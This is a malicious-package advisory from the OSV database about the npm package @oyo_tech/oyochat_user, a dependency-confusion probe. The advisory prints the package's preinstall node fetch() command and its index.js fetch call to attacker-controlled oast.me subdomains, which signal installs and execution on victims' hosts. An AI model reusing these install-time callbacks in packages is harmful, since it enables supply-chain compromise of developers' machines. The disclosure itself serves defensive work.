MAL-2026-14123

See a problem?
Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/@oyo_tech/oyochat_user/MAL-2026-14123.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-14123
Published
2026-08-18T12:05:43Z
Modified
2026-08-18T21:45:20Z
Summary
Malicious code in @oyo_tech/oyochat_user (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (2211869e361bf0cd90956a5c1dae972927c25c1d52e5ed4729cddc7b67fe682e)

@oyo_tech/oyochat_user@99.99.99 is a dependency-confusion probe. package.json declares a preinstall script that runs node -e "fetch('https://dc.installed.da24gtar47nuepat1pu053x3cgyweiaom.oast.me/'+process.env.npm_package_name)", causing npm install to make an outbound callback to an attacker-controlled interactsh (oast.me) subdomain and disclose that the package resolved on the installer's host. index.js additionally issues fetch("https://dc.executed.da24gtar47nuepat1pu053x3cgyweiaom.oast.me/oyochat_user") on require/import, signalling that the package was actually loaded by a build. Distinct installed. and executed. subdomains under the same attacker-controlled OAST token are used to stage install-vs-execute telemetry. The 99.99.99 version and scoped org name are consistent with a dependency-confusion attack targeting an internal package name. Installing this package confirms code execution on the installer's host to the attacker and exposes the internal package name; the same install-time execution primitive can be trivially upgraded to arbitrary payload delivery.

Source: ossf-package-analysis (db0f726175ab94e18345e8926ec8de1f76a684ac09429303323c3ceb0d14aea4)

The OpenSSF Package Analysis project identified '@oyo_tech/oyochat_user' @ 100.0.0 (npm) as malicious.

It is considered malicious because:

  • The package communicates with a domain associated with malicious activity.
Database specific 
{
    "malicious-packages-origins": [
        {
            "import_time": "2026-08-18T12:14:01.03412778Z",
            "modified_time": "2026-08-18T12:05:43Z",
            "sha256": "db0f726175ab94e18345e8926ec8de1f76a684ac09429303323c3ceb0d14aea4",
            "source": "ossf-package-analysis",
            "versions": [
                "100.0.0"
            ]
        },
        {
            "id": "IN-MAL-2026-017988",
            "import_time": "2026-08-18T20:42:27.840820916Z",
            "modified_time": "2026-08-18T20:28:19Z",
            "sha256": "146298f68340821e8518528fc76b215c8c962f360f0efaf586931894941cce89",
            "source": "amazon-inspector",
            "versions": [
                "100.0.0"
            ]
        },
        {
            "id": "IN-MAL-2026-018171",
            "import_time": "2026-08-18T21:42:08.867997177Z",
            "modified_time": "2026-08-18T21:27:31Z",
            "sha256": "2211869e361bf0cd90956a5c1dae972927c25c1d52e5ed4729cddc7b67fe682e",
            "source": "amazon-inspector",
            "versions": [
                "99.99.99"
            ]
        }
    ]
}
References
Credits

Affected packages

npm / @oyo_tech/oyochat_user

Package

Name
@oyo_tech/oyochat_user
View open source insights on deps.dev
Purl
pkg:npm/%40oyo_tech/oyochat_user

Affected ranges

Affected versions

99.*
99.99.99
100.*
100.0.0

Database specific

cwes 
[
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    },
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    }
]
indicators 
{
    "evidence_files": [
        {
            "path": "package.json",
            "sha256": "79e902c850d425ddef8c47a409003aeca1475062131111d878c05b87fa995b78",
            "tlsh": "16f0dc38d511ac7314c402b02e7a4407d821ae1b066cec3f73d3101c8ade6a700fd11f"
        },
        {
            "path": "index.js",
            "sha256": "ac77c32dbcf70cea88a33027b3237f28da557347b97d78b17caa3ed2871a0e80",
            "tlsh": "9fd0ebf73295228000e359a22239428fe263c3122b98c8e0b0d8c53e2becafc01081a0"
        }
    ],
    "package_integrity": [
        {
            "filename": "oyochat_user-100.0.0.tgz",
            "hashes": {
                "sha1": "4467db42bc3720b04856ca8b17db5f2767c2b13f",
                "sha512_sri": "sha512-Vvv61i4HIJ1NaZO9AYTJ4ykD7gNv5MCLiKAEKWlzyBRb7RGdXCk8ImV/vEc9QanUd0GbFSAVKiCxrVfT2B6oNg=="
            }
        }
    ]
}
source 
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/@oyo_tech/oyochat_user/MAL-2026-14123.json"